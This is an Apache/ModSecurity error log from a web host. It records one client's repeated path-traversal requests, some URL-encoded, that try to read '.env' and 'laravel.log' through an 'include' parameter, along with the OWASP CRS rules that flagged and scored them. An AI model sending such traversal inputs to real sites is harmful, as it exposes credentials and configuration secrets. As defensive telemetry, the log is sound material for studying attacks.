[Fri Jul 17 08:55:04.493870 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:include. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:include: ../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkA5GPQ6hs4VrfMpBKgAAAAY"]
[Fri Jul 17 08:55:04.493925 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?include=../../.env&ref=p9ulrIW6yQvbOK87rGVe1qT_9f-LIrYB98wc7l9OfbqVNcyxeQJd5ODo86iuP1ViXIH0hdeQdRpromHybd0eIb6KeL0s_bRqM72LElUK2iNCr25SID1QkuvLOnKrGih9AgxL-S5QC_QlaWiiAYM0jD8d70i5oySlZ920FcLv-J8s_UPKCZHZGsNRAKNsA-7Jc-9186JzFqWOpmxeV36Q0nXv2sn76TUXscb_xz6YH1uWm4w-CPPSpgDAsiDtoho1hEO4yH4nPo-eQSFG2V7Dt9A5&cb=ZR6DZ7CCVRASYYVD4BF5QY4E7UGCULQXMQRFBBXNKOHTMSBBJV3ELW6SBDX5HWQ4SVR44W52ZDQO6ZNMJCCTJEWE7OO7RT6ZVIRWK5J56FL7MNPMHCPQ5CT5XWLA7SST5WEIPDMKXYJCOI4VLD53ZGOTAQB..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkA5GPQ6hs4VrfMpBKgAAAAY"]
[Fri Jul 17 08:55:04.493969 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?include=../../.env&ref=p9ulriw6yqvbok87rgve1qt_9f-liryb98wc7l9ofbqvncyxeqjd5odo86iup1vixih0hdeqdrpromhybd0eib6kel0s_brqm72leluk2incr25sid1qkuvlonkrgih9agxl-s5qc_qlawiiaym0jd8d70i5oyslz920fclv-j8s_upkczhzgsnraknsa-7jc-9186jzfqwopmxev36q0nxv2sn76tuxscb_xz6yh1uwm4w-cppspgdasidtoho1heo4yh4npo-eqsfg2v7dt9a5&cb=zr6dz7ccvrasyyvd4bf5qy4e7ugculqxmqrfbbxnkohtmsbbjv3elw6sbdx5hwq4svr44w52zdqo6znmjcctjewe7oo7rt6zvirwk5j56fl7mnpmhcpq5ct5xwla7sst5weipdmkxyjcoi4vld53zgotaqb..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkA5GPQ6hs4VrfMpBKgAAAAY"]
[Fri Jul 17 08:55:04.493995 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:include. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:include: ../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkA5GPQ6hs4VrfMpBKgAAAAY"]
[Fri Jul 17 08:55:04.494024 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:include. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:include: ../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkA5GPQ6hs4VrfMpBKgAAAAY"]
[Fri Jul 17 08:55:04.494105 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:include. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:include: ../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkLoj0IkvhSCYadmBhQAAAAQ"]
[Fri Jul 17 08:55:04.494143 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:include. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:include: ../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkLoj0IkvhSCYadmBhQAAAAQ"]
[Fri Jul 17 08:55:04.495169 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 30)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkA5GPQ6hs4VrfMpBKgAAAAY"]
[Fri Jul 17 08:55:04.495260 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkLoj0IkvhSCYadmBhQAAAAQ"]
[Fri Jul 17 08:55:04.495272 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:04.495360 2026] [hostinglimits:warn] [pid 2018741:tid 2018741] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018741) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:04.495527 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 30 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 30, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkA5GPQ6hs4VrfMpBKgAAAAY"]
[Fri Jul 17 08:55:04.495563 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?include=..%2F..%2F..%2F..%2F..%2F.env&sid=fREsZeM9WRRkMvSFfjulAyBfceGnpi0zKVQt54GCjjWdxyVsDxKpvQwa9eFIThwbR5Pb_Oy6ZG-qPkT8Vzvd1Q2Pbtqzj2XAO2_Y5909kzSQg8wPK3ZQCKNQWq7puLbNyhHDcoWfojhTsaDRmBhAJG65EEe_VGuDDUA-hDXQi2PQ49ojpvrdjE3xiZqzMq78pzLMWropj5BaAljbCRNlirJXDltEZWGnQH8UjQtbPeHDPANhnt6mtWKBr6dEU_JwFypvqcrCmRfv_6G_FLO6n6Vt&ref=AWFHUMV7MVATKPZPJ66M4WTEHADBX2JGQPCFUOOVDDSET3PDLQR53WT27RYCAAWSM7ARUG5PJ2CKQNO7RK5K5TJS7Z26FYYO6KPQBY3QD3BHSLYFQZKC3CFEVTUWH26..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkOYpb_TFRze2EO3zQwAAAAE"]
[Fri Jul 17 08:55:04.495605 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:include. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:include: ../../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkOYpb_TFRze2EO3zQwAAAAE"]
[Fri Jul 17 08:55:04.495662 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?include=../../../../../.env&sid=fREsZeM9WRRkMvSFfjulAyBfceGnpi0zKVQt54GCjjWdxyVsDxKpvQwa9eFIThwbR5Pb_Oy6ZG-qPkT8Vzvd1Q2Pbtqzj2XAO2_Y5909kzSQg8wPK3ZQCKNQWq7puLbNyhHDcoWfojhTsaDRmBhAJG65EEe_VGuDDUA-hDXQi2PQ49ojpvrdjE3xiZqzMq78pzLMWropj5BaAljbCRNlirJXDltEZWGnQH8UjQtbPeHDPANhnt6mtWKBr6dEU_JwFypvqcrCmRfv_6G_FLO6n6Vt&ref=AWFHUMV7MVATKPZPJ66M4WTEHADBX2JGQPCFUOOVDDSET3PDLQR53WT27RYCAAWSM7ARUG5PJ2CKQNO7RK5K5TJS7Z26FYYO6KPQBY3QD3BHSLYFQZKC3CFEVTUWH26N7PU6XPT7XAG3UOE6K..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkOYpb_TFRze2EO3zQwAAAAE"]
[Fri Jul 17 08:55:04.495663 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkLoj0IkvhSCYadmBhQAAAAQ"]
[Fri Jul 17 08:55:04.495690 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?include=../../../../../.env&sid=freszem9wrrkmvsffjulaybfcegnpi0zkvqt54gcjjwdxyvsdxkpvqwa9efithwbr5pb_oy6zg-qpkt8vzvd1q2pbtqzj2xao2_y5909kzsqg8wpk3zqcknqwq7pulbnyhhdcowfojhtsadrmbhajg65eee_vguddua-hdxqi2pq49ojpvrdje3xizqzmq78pzlmwropj5baaljbcrnlirjxdltezwgnqh8ujqtbpehdpanhnt6mtwkbr6deu_jwfypvqcrcmrfv_6g_flo6n6vt&ref=awfhumv7mvatkpzpj66m4wtehadbx2jgqpcfuoovddset3pdlqr53wt27rycaawsm7arug5pj2ckqno7rk5k5tjs7z26fyyo6kpqby3qd3bhslyfqzkc3cfevtuwh26n7pu6xpt7xag3uoe6k..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkOYpb_TFRze2EO3zQwAAAAE"]
[Fri Jul 17 08:55:04.495713 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:include. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:include: ../../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkOYpb_TFRze2EO3zQwAAAAE"]
[Fri Jul 17 08:55:04.495753 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:include. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:include: ../../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkOYpb_TFRze2EO3zQwAAAAE"]
[Fri Jul 17 08:55:04.496978 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 30)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkOYpb_TFRze2EO3zQwAAAAE"]
[Fri Jul 17 08:55:04.497107 2026] [hostinglimits:warn] [pid 2023579:tid 2023579] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2023579) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:04.497410 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 30 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 30, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkOYpb_TFRze2EO3zQwAAAAE"]
[Fri Jul 17 08:55:04.498761 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?include=..%2F..%2F..%2Fstorage%2Flogs%2Flaravel.log&debug=0jf_ac6FSsEtBjAiI7y9C9A5unLPAdcE3DWODNkoc57MMwgRaWsLhGCvy7MuFUEdlKyjGjwMArCa_ymR_DjfSg_ggMZDlYh1Ga8QObin54vvJoo10nKIsaHD4TzN0sflEWNXKdZe2vgS0gq1O7MpWkjpjkz2u5lULeUoJ7wmxT2BFgzzk950AK4W52GSFSxSpREOmXigbJNxatI1uGR4O869op4g_b4haBFbfqHJmhoxRq61RygBu-ZukO6e3ZDhGs3pT7lqMNGHHjzf9WFG8HGY&anything=Y346J4V72TBFD52ZMDJCQAR2ZJKORSSNIDCFKP2SI2NZS535LQ5MFKGJQPNG6HEGDV2UAHZ6MUGZXJQNW2NIEWELCIP5IBYMDVVYEPMQ3V..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkIZvbo7N5o5zeYC-HgAAABw"]
[Fri Jul 17 08:55:04.498811 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:include. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:include: ../../../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkIZvbo7N5o5zeYC-HgAAABw"]
[Fri Jul 17 08:55:04.498860 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?include=../../../storage/logs/laravel.log&debug=0jf_ac6FSsEtBjAiI7y9C9A5unLPAdcE3DWODNkoc57MMwgRaWsLhGCvy7MuFUEdlKyjGjwMArCa_ymR_DjfSg_ggMZDlYh1Ga8QObin54vvJoo10nKIsaHD4TzN0sflEWNXKdZe2vgS0gq1O7MpWkjpjkz2u5lULeUoJ7wmxT2BFgzzk950AK4W52GSFSxSpREOmXigbJNxatI1uGR4O869op4g_b4haBFbfqHJmhoxRq61RygBu-ZukO6e3ZDhGs3pT7lqMNGHHjzf9WFG8HGY&anything=Y346J4V72TBFD52ZMDJCQAR2ZJKORSSNIDCFKP2SI2NZS535LQ5MFKGJQPNG6HEGDV2UAHZ6MUGZXJQNW2NIEWELCIP5IBYMDVVYEPMQ3VLVBCN56CC3G6G3KSNV..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkIZvbo7N5o5zeYC-HgAAABw"]
[Fri Jul 17 08:55:04.498909 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?include=../../../storage/logs/laravel.log&debug=0jf_ac6fssetbjaii7y9c9a5unlpadce3dwodnkoc57mmwgrawslhgcvy7mufuedlkyjgjwmarca_ymr_djfsg_ggmzdlyh1ga8qobin54vvjoo10nkisahd4tzn0sflewnxkdze2vgs0gq1o7mpwkjpjkz2u5luleuoj7wmxt2bfgzzk950ak4w52gsfsxspreomxigbjnxati1ugr4o869op4g_b4habfbfqhjmhoxrq61rygbu-zuko6e3zdhgs3pt7lqmnghhjzf9wfg8hgy&anything=y346j4v72tbfd52zmdjcqar2zjkorssnidcfkp2si2nzs535lq5mfkgjqpng6hegdv2uahz6mugzxjqnw2niewelcip5ibymdvvyepmq3vlvbcn56cc3g6g3ksnv..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkIZvbo7N5o5zeYC-HgAAABw"]
[Fri Jul 17 08:55:04.498944 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:include. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:include: ../../../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkIZvbo7N5o5zeYC-HgAAABw"]
[Fri Jul 17 08:55:04.498971 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:include. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:include: ../../../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkIZvbo7N5o5zeYC-HgAAABw"]
